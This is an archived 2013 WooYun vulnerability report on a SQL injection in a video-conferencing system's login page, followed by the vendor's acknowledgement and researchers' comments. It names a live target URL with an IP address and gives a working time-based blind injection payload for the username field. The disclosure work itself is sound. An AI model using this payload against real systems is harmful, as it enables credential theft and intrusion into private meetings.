当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-021881

漏洞标题：绿盟视频会议系统SQL注入漏洞，可得到管理密码登录并控制会议

相关厂商：绿盟科技

漏洞作者： applychen

提交时间：2013-04-15 16:50

修复时间：2013-05-30 16:51

公开时间：2013-05-30 16:51

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-15： 细节已通知厂商并且等待厂商处理中
2013-04-15： 厂商已经确认，细节仅向厂商公开
2013-04-25： 细节向核心白帽子及相关领域专家公开
2013-05-05： 细节向普通白帽子公开
2013-05-15： 细节向实习白帽子公开
2013-05-30： 细节向公众公开

简要描述：

通过注入能够拿到管理账户密码，然后登录后台查看会议密码，通过会议密码能够进入到远程会议中，恶意攻击者能够窃取某些敏感信息。

详细说明：

http://211.151.49.196:18080/V2Conf/jsp/user/loginAction.do
其实是V2 Conference视频会议系统较低版本的SQL注入，注入发生在登录时用户名的输入框内，使用以下注入语句可测试：
1' or (select benchmark(300000,md5(user())) from users where substring(username,1,5)='admin')#

漏洞证明：

2.png

修复方案：

升级补丁

版权声明：转载请注明来源 applychen@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2013-04-15 22:48

厂商回复：

非常感谢applychen和乌云的提醒。我们已经开始处理此问题，并会尽快将其通知给该视频会议系统的开发厂商。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-15 17:01 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    这个绿盟是我印象中的那个绿盟么？

  2. 2013-04-15 17:01 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    难道这个公司被CSDN了么。。。。。

  3. 2013-04-15 17:04 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    大绿盟！..关注

  4. 2013-04-15 17:04 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    大绿盟！..关注

  5. 2013-04-15 17:22 | charles ( 路人 | Rank:6 漏洞数:4 | 研究web安全,0day,漏洞挖掘,关注国内安全动...)

    哈哈~一会看看谁提交的这么猛

  6. 2013-04-15 17:22 | Slcio ( 实习白帽子 | Rank:74 漏洞数:13 | 白帽)

    我能说我知道洞主是绿盟竞争对手吗？老实交代吧，，你偷听多少次会议了，窃取多少秘密了。。。

  7. 2013-04-15 17:24 | Slcio ( 实习白帽子 | Rank:74 漏洞数:13 | 白帽)

    洞主也是某公益性秘密组织成员呢。。。小样，乱搞。。

  8. 2013-04-15 17:35 | redrain有节操 ( 普通白帽子 | Rank:183 漏洞数:26 | ztz这下子有165了！>_<'/&\)

    太猛了！大绿盟

  9. 2013-04-15 17:55 | 革命往事 ( 路人 | Rank:17 漏洞数:2 | 革命已成往事)

    这个不是绿盟的漏洞吧，第三方开发的会议系统吧

  10. 2013-04-15 18:36 | Asuimu ( 普通白帽子 | Rank:295 漏洞数:46 )

    是第三方的，很多企业都再用。

  11. 2013-04-15 19:58 | smallworm ( 路人 | Rank:20 漏洞数:4 | ...)

    绿盟也有洞啊！

  12. 2013-04-15 20:23 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    唉~~~

  13. 2013-04-15 21:44 | applychen ( 普通白帽子 | Rank:163 漏洞数:16 | 白发现首)

    是第三方的，各位别激动……

  14. 2013-04-15 22:48 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    第三方的东西，不可能随便一个公司就所有用的东西都自己写吧

  15. 2013-04-15 23:02 | Slcio ( 实习白帽子 | Rank:74 漏洞数:13 | 白帽)

    看来绿盟对分区不感兴趣。。。rank那么低。。以后合作就找总部吧。。

  16. 2013-04-16 08:42 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    @Slcio 分区？

  17. 2013-04-16 09:51 | dreamk ( 路人 | Rank:11 漏洞数:3 | 穿梭在黑与白之间)

    @applychen 应该是用了第三方的会议系统，能说一下是哪个公司开发的吗？

  18. 2013-04-16 10:05 | Destinys ( 路人 | Rank:11 漏洞数:5 | Focus web security)

    洞主碉堡啦~~真羡慕洞主

  19. 2013-04-16 11:36 | MEng ( 路人 | Rank:1 漏洞数:2 | 刚接触这个领域、来学习了)

    第三方系统，大家莫激动

  20. 2013-04-16 11:49 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    @dreamk 好像写是V2什么的。

  21. 2013-05-05 23:41 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

    绿盟见红了..

  22. 2013-05-06 22:11 | Slcio ( 实习白帽子 | Rank:74 漏洞数:13 | 白帽)

    @wefgod 总部和地方分公司。。前几天搞的攻防竞赛有个大学生还在里面实习呢。。很黑的说，不过我这里更黑。。

  23. 2013-05-06 23:13 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    @Slcio 你那是哪里啊。一般安全厂商构成也就是总部、分公司、办事处。

  24. 2013-05-16 15:47 | Destinys ( 路人 | Rank:11 漏洞数:5 | Focus web security)

    Rank4不靠谱丫

  25. 2013-05-30 19:23 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    这个好

  26. 2013-05-31 09:09 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2179 漏洞数:330 | 呵呵！)

    嗨，第三方的洞洞，还以为是绿盟的咧，吓尿了。。。。